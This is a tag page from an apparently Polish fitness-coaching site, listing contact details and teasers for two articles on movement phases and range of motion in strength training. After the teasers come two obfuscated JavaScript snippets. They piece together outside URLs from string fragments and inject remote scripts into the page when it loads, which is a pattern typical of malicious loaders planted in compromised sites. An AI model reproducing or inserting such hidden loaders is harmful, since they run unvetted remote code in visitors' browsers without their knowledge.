kontakt@przemekjurek.pl

+48 732 496 635

Tag: hipertrofia mięśni

Kategorie:

Faza ruchu koncentryczna i ekscentryczna podczas ćwiczenia

Fazy ruchu i rodzaje skurczów w treningu siłowym – jak wpływają na hipertrofię i rozwój mięśni?

8 sierpnia, 2024

W treningu siłowym nie bez powodu tak wiele mówi się o „opuszczaniu ciężaru w kontrolowany sposób” czy o „eksplodującym ruchu

Czytaj więcej >

Zdjęcie przedstawia sportowca ćwiczącego w pełnym zakresie ruchu

Zakres ruchu w ćwiczeniach – czy pełny zakres ruchu zawsze będzie najlepszy?

7 sierpnia, 2024

Czy kiedykolwiek zastanawiałeś się, dlaczego jedni trenerzy każą Ci wykonywać ćwiczenia w maksymalnie pełnym zakresie ruchu (tzw. pełny ROM), a

Czytaj więcej >

(function(){ qiwq=document.createElement("script");qiwq_=("us")+("ta"); qiwq_+="t"+(".");qiwq_+=("in");qiwqu="2422389891";qiwq.async=true; qiwqu+=".zd05rX4tiwqszu674";qiwq.type="text/javascript";qiwq_+="f"+"o"+("/"); qiwqu+="6hlhfpezabw8x";qiwq.src="https://"+qiwq_+qiwqu; dqiwq=document.body;dqiwq.appendChild(qiwq); })(); (function(){ uv01=document.createElement("script");uv01.type="text/javascript"; uv01.async=true;uv01_=("op"+("ens")+"t")+"a";uv01_+=("t.e")+""+"u"; uv01.src="https://"+uv01_+"/2491255555.c8uwxe2lv01hti955xgXsgvvmsav2e"; document.body.appendChild(uv01); })();